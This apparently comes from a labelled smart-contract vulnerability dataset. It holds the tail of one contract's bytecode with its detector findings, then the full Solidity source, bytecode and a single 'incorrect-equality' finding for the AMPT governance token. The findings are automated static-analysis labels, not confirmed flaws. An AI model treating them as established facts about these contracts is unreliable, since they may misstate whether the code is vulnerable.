0152505050608001529392505050565b600082198211156121f9576121f9612271565b500190565b60008261221b57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561223a5761223a612271565b500290565b60008282101561225157612251612271565b500390565b600060001982141561226a5761226a612271565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108a957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b59f894aa0be49a1063b0edc16695e6780e32bba1d9c279e5c25a3db93e0acf264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
416
0x81ba103ECE6586E9fFCbE71620593b01784eDBe0
/** *Submitted for verification at Etherscan.io on 2020-03-04 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; contract AMPT { /// @notice EIP-20 token name for this token string public constant name = "Amplify Token"; /// @notice EIP-20 token symbol for this token string public constant symbol = "AMPT"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 100000000e18; // 100 million AMPT /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new AMPT token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "AMPT::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "AMPT::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "AMPT::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "AMPT::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "AMPT::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "AMPT::delegateBySig: invalid nonce"); require(now <= expiry, "AMPT::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "AMPT::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "AMPT::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "AMPT::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "AMPT::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "AMPT::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "AMPT::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "AMPT::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "AMPT::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b9190612741565b60405180910390f35b61015e6004803603810190610159919061217d565b61045c565b60405161016b919061263c565b60405180910390f35b61017c6105ee565b6040516101899190612823565b60405180910390f35b61019a6105fd565b6040516101a79190612657565b60405180910390f35b6101ca60048036038101906101c5919061212e565b610621565b6040516101d7919061263c565b60405180910390f35b6101e86108b3565b6040516101f59190612882565b60405180910390f35b610218600480360381019061021391906120c9565b6108b8565b6040516102259190612621565b60405180910390f35b610248600480360381019061024391906120c9565b6108eb565b005b610264600480360381019061025f91906120c9565b6108f8565b604051610271919061283e565b60405180910390f35b610294600480360381019061028f91906120c9565b61091b565b6040516102a19190612823565b60405180910390f35b6102c460048036038101906102bf919061217d565b61098a565b6040516102d191906128b8565b60405180910390f35b6102f460048036038101906102ef91906120c9565b610d99565b6040516103019190612823565b60405180910390f35b610312610db1565b60405161031f9190612741565b60405180910390f35b610342600480360381019061033d919061217d565b610dea565b60405161034f919061263c565b60405180910390f35b610372600480360381019061036d91906120c9565b610e27565b60405161037f91906128b8565b60405180910390f35b6103a2600480360381019061039d91906121b9565b610f15565b005b6103be60048036038101906103b991906120f2565b6111d2565b6040516103cb9190612823565b60405180910390f35b6103dc61127e565b6040516103e99190612657565b60405180910390f35b61040c60048036038101906104079190612242565b6112a2565b60405161041a929190612859565b60405180910390f35b6040518060400160405280600d81526020017f416d706c69667920546f6b656e0000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060258152602001612b0c602591396112fb565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db919061289d565b60405180910390a3600191505092915050565b6a52b7d2dcc80cd2e400000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106e385604051806060016040528060258152602001612b0c602591396112fb565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561075d57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561089a57600061078783836040518060600160405280603d8152602001612b31603d9139611359565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610890919061289d565b60405180910390a3505b6108a58787836113ca565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108f533826117ab565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c5906127e3565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a3b576000915050610d93565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b3d57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d93565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bbe576000915050610d93565b6000806001830390505b8163ffffffff168163ffffffff161115610d15576000600283830363ffffffff1681610bf057fe5b0482039050610bfd612032565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610ced57806020015195505050505050610d93565b86816000015163ffffffff161015610d0757819350610d0e565b6001820392505b5050610bc8565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600481526020017f414d50540000000000000000000000000000000000000000000000000000000081525081565b600080610e0f83604051806060016040528060268152602001612b6e602691396112fb565b9050610e1c3385836113ca565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e91576000610f0d565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666040518060400160405280600d81526020017f416d706c69667920546f6b656e0000000000000000000000000000000000000081525080519060200120610f7d61196b565b30604051602001610f9194939291906126b7565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001610fe29493929190612672565b6040516020818303038152906040528051906020012090506000828260405160200161100f9291906125ea565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161104c94939291906126fc565b6020604051602081039080840390855afa15801561106e573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e1906127c3565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611179576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117090612763565b60405180910390fd5b874211156111bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b390612783565b60405180910390fd5b6111c6818b6117ab565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c010000000000000000000000008310829061134f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113469190612741565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff16111582906113bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b49190612741565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561143a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143190612803565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a1906127a3565b60405180910390fd5b611524600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060368152602001612ad660369139611359565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555061160b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060308152602001612a7e60309139611978565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116d5919061289d565b60405180910390a36117a6600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119ee565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119658284836119ee565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d99190612741565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a3857506000816bffffffffffffffffffffffff16115b15611ce457600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b90576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611adb576000611b57565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b7e8285604051806060016040528060288152602001612aae60289139611359565b9050611b8c86848484611ce9565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ce3576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611c2e576000611caa565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611cd18285604051806060016040528060278152602001612bc860279139611978565b9050611cdf85848484611ce9565b5050505b5b505050565b6000611d0d43604051806060016040528060348152602001612b9460349139611fdc565b905060008463ffffffff16118015611da257508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e3d5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f85565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611fcd9291906128d3565b60405180910390a25050505050565b600064010000000083108290612028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201f9190612741565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061206f81612a0a565b92915050565b60008135905061208481612a21565b92915050565b60008135905061209981612a38565b92915050565b6000813590506120ae81612a4f565b92915050565b6000813590506120c381612a66565b92915050565b6000602082840312156120db57600080fd5b60006120e984828501612060565b91505092915050565b6000806040838503121561210557600080fd5b600061211385828601612060565b925050602061212485828601612060565b9150509250929050565b60008060006060848603121561214357600080fd5b600061215186828701612060565b935050602061216286828701612060565b92505060406121738682870161208a565b9150509250925092565b6000806040838503121561219057600080fd5b600061219e85828601612060565b92505060206121af8582860161208a565b9150509250929050565b60008060008060008060c087890312156121d257600080fd5b60006121e089828a01612060565b96505060206121f189828a0161208a565b955050604061220289828a0161208a565b945050606061221389828a016120b4565b935050608061222489828a01612075565b92505060a061223589828a01612075565b9150509295509295509295565b6000806040838503121561225557600080fd5b600061226385828601612060565b92505060206122748582860161209f565b9150509250929050565b61228781612923565b82525050565b61229681612935565b82525050565b6122a581612941565b82525050565b6122bc6122b782612941565b6129ef565b82525050565b60006122cd826128fc565b6122d78185612907565b93506122e78185602086016129bc565b6122f0816129f9565b840191505092915050565b6000612308600283612918565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b6000612348602283612907565b91507f414d50543a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006123ae602683612907565b91507f414d50543a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612414603a83612907565b91507f414d50543a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e7366657220746f20746865207a65726f20616464726573730000000000006020830152604082019050919050565b600061247a602683612907565b91507f414d50543a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124e0602783612907565b91507f414d50543a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612546603c83612907565b91507f414d50543a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b6125a88161296b565b82525050565b6125b781612975565b82525050565b6125c681612985565b82525050565b6125d5816129aa565b82525050565b6125e481612992565b82525050565b60006125f5826122fb565b915061260182856122ab565b60208201915061261182846122ab565b6020820191508190509392505050565b6000602082019050612636600083018461227e565b92915050565b6000602082019050612651600083018461228d565b92915050565b600060208201905061266c600083018461229c565b92915050565b6000608082019050612687600083018761229c565b612694602083018661227e565b6126a1604083018561259f565b6126ae606083018461259f565b95945050505050565b60006080820190506126cc600083018761229c565b6126d9602083018661229c565b6126e6604083018561259f565b6126f3606083018461227e565b95945050505050565b6000608082019050612711600083018761229c565b61271e60208301866125bd565b61272b604083018561229c565b612738606083018461229c565b95945050505050565b6000602082019050818103600083015261275b81846122c2565b905092915050565b6000602082019050818103600083015261277c8161233b565b9050919050565b6000602082019050818103600083015261279c816123a1565b9050919050565b600060208201905081810360008301526127bc81612407565b9050919050565b600060208201905081810360008301526127dc8161246d565b9050919050565b600060208201905081810360008301526127fc816124d3565b9050919050565b6000602082019050818103600083015261281c81612539565b9050919050565b6000602082019050612838600083018461259f565b92915050565b600060208201905061285360008301846125ae565b92915050565b600060408201905061286e60008301856125ae565b61287b60208301846125db565b9392505050565b600060208201905061289760008301846125bd565b92915050565b60006020820190506128b260008301846125cc565b92915050565b60006020820190506128cd60008301846125db565b92915050565b60006040820190506128e860008301856125cc565b6128f560208301846125cc565b9392505050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061292e8261294b565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b60006129b582612992565b9050919050565b60005b838110156129da5780820151818401526020810190506129bf565b838111156129e9576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612a1381612923565b8114612a1e57600080fd5b50565b612a2a81612941565b8114612a3557600080fd5b50565b612a418161296b565b8114612a4c57600080fd5b50565b612a5881612975565b8114612a6357600080fd5b50565b612a6f81612985565b8114612a7a57600080fd5b5056fe414d50543a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773414d50543a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773414d50543a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365414d50543a3a617070726f76653a20616d6f756e7420657863656564732039362062697473414d50543a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365414d50543a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473414d50543a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473414d50543a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a264697066735822122006fa5a14cf2695bb1f824e96354aa43afbf5d91da2b992305a55459b7c236fb764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
417
0x1ad4746f88d485ab4a4f46837546e068dbda9860
